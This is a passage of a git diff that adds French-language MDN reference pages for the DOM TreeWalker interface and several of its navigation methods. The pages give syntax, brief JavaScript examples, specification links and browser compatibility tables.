+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/firstchild/index.html b/files/fr/web/api/treewalker/firstchild/index.html
new file mode 100644
index 0000000000..ae722dacde
--- /dev/null
+++ b/files/fr/web/api/treewalker/firstchild/index.html
@@ -0,0 +1,112 @@
+---
+title: TreeWalker.firstChild()
+slug: Web/API/TreeWalker/firstChild
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/TreeWalker/firstChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La méthode <strong><code>TreeWalker.firstChild()</code></strong> déplace le {{domxref("Node")}} courant vers le premier enfant <em>visible</em> du noeud courant et renvoie l'enfant trouvé. Il déplace aussi le noeud courant vers cet enfant. Si aucun enfant n'existe, elle renvoie <code>null</code> et le noeud courant n'est pas modifié.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.firstChild;</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+var node = treeWalker.firstChild(); // renvoie le premier enfant de l'élément racine ou null si aucun
+
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-firstchild', 'TreeWalker.firstChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-firstChild', 'TreeWalker.firstChild')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/index.html b/files/fr/web/api/treewalker/index.html
new file mode 100644
index 0000000000..6d300d066f
--- /dev/null
+++ b/files/fr/web/api/treewalker/index.html
@@ -0,0 +1,218 @@
+---
+title: TreeWalker
+slug: Web/API/TreeWalker
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Noeuds
+translation_of: Web/API/TreeWalker
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+</div>
+
+<p>L'objet <strong><code>TreeWalker</code></strong> représente les noeuds d'un sous-arbre de document et une position à l'intérieur.</p>
+
+<p>Un <code>TreeWalker</code> peut être créé en utilisant la méthode {{domxref("Document.createTreeWalker()")}}.</p>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p><em>Cette interface n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("TreeWalker.root")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("Node")}} (<em>noeud</em>) représentant le noeud racine comme spécifié lors de la création du <code>TreeWalker</code>.</dd>
+ <dt>{{domxref("TreeWalker.whatToShow")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un <code>unsigned long</code> (<em>long non signé</em>), celui-ci étant un masque constitué de constantes décrivant les types de {{domxref("Node")}} qui doivent être présentés. Les noeuds ne correspondants pas sont ignorés, mais leurs enfants peuvent être inclus, le cas échéant. Les valeurs possibles sont :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constante</td>
+    <td class="header">Valeur numérique</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> (c'est la valeur numérique maximale du <code>unsigned long</code> (<em>non signé long</em>))</td>
+    <td>Affiche tous les noeuds.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+    <td><code>2</code></td>
+    <td>Affiche l'attribut {{domxref("Attr")}} des noeuds. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Attr")}} comme racine ; dans ce cas, cela signifie que le nœud d'attribut apparaîtra dans la première position de l'itération ou de la traversée. Comme les attributs ne sont jamais des enfants d'autres nœuds, ils n'apparaissent pas lors de la traversée de l'arbre du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+    <td><code>8</code></td>
+    <td>Affiche les noeuds {{domxref("CDATASection")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>Affiche les noeuds {{domxref("Comment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>Affiche les noeuds {{domxref("Document")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentFragment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentType")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>Affiche les noeuds {{domxref("Element")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+    <td><code>32</code></td>
+    <td>Affiche les noeuds {{domxref("Entity")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{ domxref("Entity") }} comme racine ; dans ce cas, il signifie que le noeud d'entité {{domxref("Entity") }} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+    <td><code>16</code></td>
+    <td>Affiche les noeuds {{domxref("EntityReference")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+    <td><code>2048</code></td>
+    <td>Affiche les noeuds {{domxref("Notation")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Notation")}} comme racine ; dans ce cas, il signifie que le noeud {{domxref("Notation")}} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>Affiche les noeuds {{domxref("ProcessingInstruction")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>Affiche les noeuds {{domxref("Text")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("TreeWalker.filter")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("NodeFilter")}} utilisé pour sélectionner les noeuds pertinents.</dd>
+ <dt>{{domxref("TreeWalker.expandEntityReferences")}} {{readonlyInline}}{{obsolete_inline}}</dt>
+ <dd>est un {{domxref("Boolean")}} (<em>booléen</em>) indiquant si, lors de la suppression d'une {{domxref("EntityReference")}}, tout son sous-arbre doit être supprimé en même temps.</dd>
+ <dt>{{domxref("TreeWalker.currentNode")}}</dt>
+ <dd>est le {{domxref("Node")}} sur lequel le <code>TreeWalker</code> pointe actuellement.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>Cette interface n'hérite d'aucune méthode.</em></p>
+
+<div class="note">
+<p><em>Notez que le TreeWalker considère uniquement les nœuds DOM visibles..</em></p>
+</div>
+
+<dl>
+ <dt>{{domxref("TreeWalker.parentNode()")}}</dt>
+ <dd>Déplace le {{domxref("Node")}} actuel vers le premier noeud ancêtre <em>visible</em> dans l'ordre du document et renvoie le noeud trouvé. Il déplace également le noeud actuel vers celui-ci. Si aucun noeud n'existe ou s'il est antérieur au <em>noeud racine</em> défini lors de la construction de l'objet, renvoie <code>null</code> et le noeud courant n'est pas modifié.</dd>
+ <dt>{{domxref("TreeWalker.firstChild()")}}</dt>
+ <dd>Déplace le {{domxref("Node")}} courant vers son premier enfant <em>visible</em> et renvoie l'enfant trouvé. Il déplace également le noeud courant vers cet enfant. Si aucun enfant n'existe, renvoie <code>null</code> et le noeud courant n'est pas modifié.</dd>
+ <dt>{{domxref("TreeWalker.lastChild()")}}</dt>
+ <dd>Déplace le {{domxref("Node")}} courant vers son dernier enfant <em>visible</em> et renvoie l'enfant trouvé. Il déplace également le noeud courant vers l'enfant. Si aucun enfant n'existe, renvoie <code>null</code> et le noeud courant n'est pas modifié.</dd>
+ <dt>{{domxref("TreeWalker.previousSibling()")}}</dt>
+ <dd>Déplace le {{domxref("Node")}} courant vers son frère précédent, le cas échéant, et renvoie le frère trouvé. Si aucun noeud frère n'existe, renvoie <code>null</code> et le noeud courant n'est pas modifié.</dd>
+ <dt>{{domxref("TreeWalker.nextSibling()")}}</dt>
+ <dd>Déplace le {{domxref("Node")}} courant vers son frère suivant, le cas échéant, et renvoie le frère trouvé. Si aucun noeud frère n'existe, renvoie <code>null</code> et le noeud courant n'est pas modifié.</dd>
+ <dt>{{domxref("TreeWalker.previousNode()")}}</dt>
+ <dd>Déplace le {{domxref("Node")}} courant vers le noeud <em>visible</em> précédent dans l'ordre du document et renvoie le noeud trouvé. Il déplace également le noeud courant vers celui-ci. Si aucun noeud n'existe ou s'il est avant le <em>noeud racine</em> défini lors de la construction de l'objet, renvoie <code>null</code> et le noeud courant n'est pas modifié.</dd>
+ <dt>{{domxref("TreeWalker.nextNode()")}}</dt>
+ <dd>Déplace le {{domxref("Node")}} courant vers le noeud <em>visible</em> suivant dans l'ordre du document et renvoie le noeud trouvé. Il déplace également le noeud courant vers celui-ci. Si aucun noeud n'existe ou s'il est avant le <em>noeud racine</em> défini lors de la construction de l'objet, renvoie <code>null</code> et le noeud courant n'est pas modifié.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#treeWalker', 'TreeWalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Suppression de la propriété <code>expandEntityReferences</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker', 'TreeWalker')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La méthode de création : {{domxref("Document.createTreeWalker()")}}.</li>
+ <li>Interfaces connexes : {{domxref("NodeFilter")}}, {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/lastchild/index.html b/files/fr/web/api/treewalker/lastchild/index.html
new file mode 100644
index 0000000000..676080ec43
--- /dev/null
+++ b/files/fr/web/api/treewalker/lastchild/index.html
@@ -0,0 +1,112 @@
+---
+title: TreeWalker.lastChild()
+slug: Web/API/TreeWalker/lastChild
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/TreeWalker/lastChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La méthode <strong><code>TreeWalker.lastChild()</code></strong> déplace le {{domxref("Node")}} courant au dernier enfant <em>visible</em> du noeud courant et renvoie l'enfant trouvé. Il déplace aussi le noeud courant vers cet enfant. Si aucun enfant n'existe, elle retourne <code>null</code> et le noeud courant reste inchangé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.lastChild();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+var node = treeWalker.lastChild(); // renvoie le dernier enfant visible de l'élément racine
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-lastchild', 'TreeWalker.lastChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-lastChild', 'TreeWalker.lastChild')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/nextnode/index.html b/files/fr/web/api/treewalker/nextnode/index.html
new file mode 100644
index 0000000000..38c327e2f8
--- /dev/null
+++ b/files/fr/web/api/treewalker/nextnode/index.html
@@ -0,0 +1,113 @@
+---
+title: TreeWalker.nextNode()
+slug: Web/API/TreeWalker/nextNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/TreeWalker/nextNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La méthode <strong><code>TreeWalker.nextNode()</code></strong> déplace le {{domxref("Node")}} courant au noeud suivant <em>visible</em> dans l'ordre du document et renvoie le noeud trouvé. Elle déplace aussi le noeud courant vers celui-ci. Si aucun noeud n'existe, elle renvoie <code>null</code> et le noeud courant est inchangé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.nextNode();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+var node = treeWalker.nextNode(); // renvoie le premier enfant de la racine, car il s'agit du noeud suivant dans l'ordre du document
+
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-nextnode', 'TreeWalker.nextNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-nextNode', 'TreeWalker.nextNode')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/nextsibling/index.html b/files/fr/web/api/treewalker/nextsibling/index.html
new file mode 100644
index 0000000000..9fc36b5678
--- /dev/null
+++ b/files/fr/web/api/treewalker/nextsibling/index.html
@@ -0,0 +1,114 @@
+---
+title: TreeWalker.nextSibling()
+slug: Web/API/TreeWalker/nextSibling
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/TreeWalker/nextSibling
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La méthode <strong><code>TreeWalker.nextSibling()</code></strong> déplace le {{domxref("Node")}} courant vers son frère suivant, le cas échéant, et renvoie le frère trouvé. Si aucun noeud frère n'est trouvé, elle renvoie <code>null</code> et le noeud courant reste inchangé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.nextSibling();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+treeWalker.firstChild();
+var node = treeWalker.nextSibling(); // renvoie null si le premier enfant de l'élément racine n'a pas de frère
+
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-nextsibling', 'TreeWalker.nextSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-nextSibling', 'TreeWalker.nextSibling')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/parentnode/index.html b/files/fr/web/api/treewalker/parentnode/index.html
new file mode 100644
index 0000000000..2215430520
--- /dev/null
+++ b/files/fr/web/api/treewalker/parentnode/index.html
@@ -0,0 +1,113 @@
+---
+title: TreeWalker.parentNode()
+slug: Web/API/TreeWalker/parentNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/TreeWalker/parentNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La méthode <strong><code>TreeWalker.parentNode()</code></strong> déplace le {{domxref("Node")}} courant vers le premier noeud ancêtre <em>visible</em> dans l'ordre du document et renvoie le noeud trouvé. Si aucun noeud n'existe ou s'il est au-dessus du <em>noeud racine</em> du <code>TreeWalker</code>, elle renvoie <code>null</code> et le noeud actuel reste inchangé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.parentNode();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+var node = treeWalker.parentNode(); // returns null as there is no parent
+
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-parentnode', 'TreeWalker.parentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-parentNode', 'TreeWalker.parentNode')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/previousnode/index.html b/files/fr/web/api/treewalker/previousnode/index.html
new file mode 100644
index 0000000000..1bc9d63925
--- /dev/null
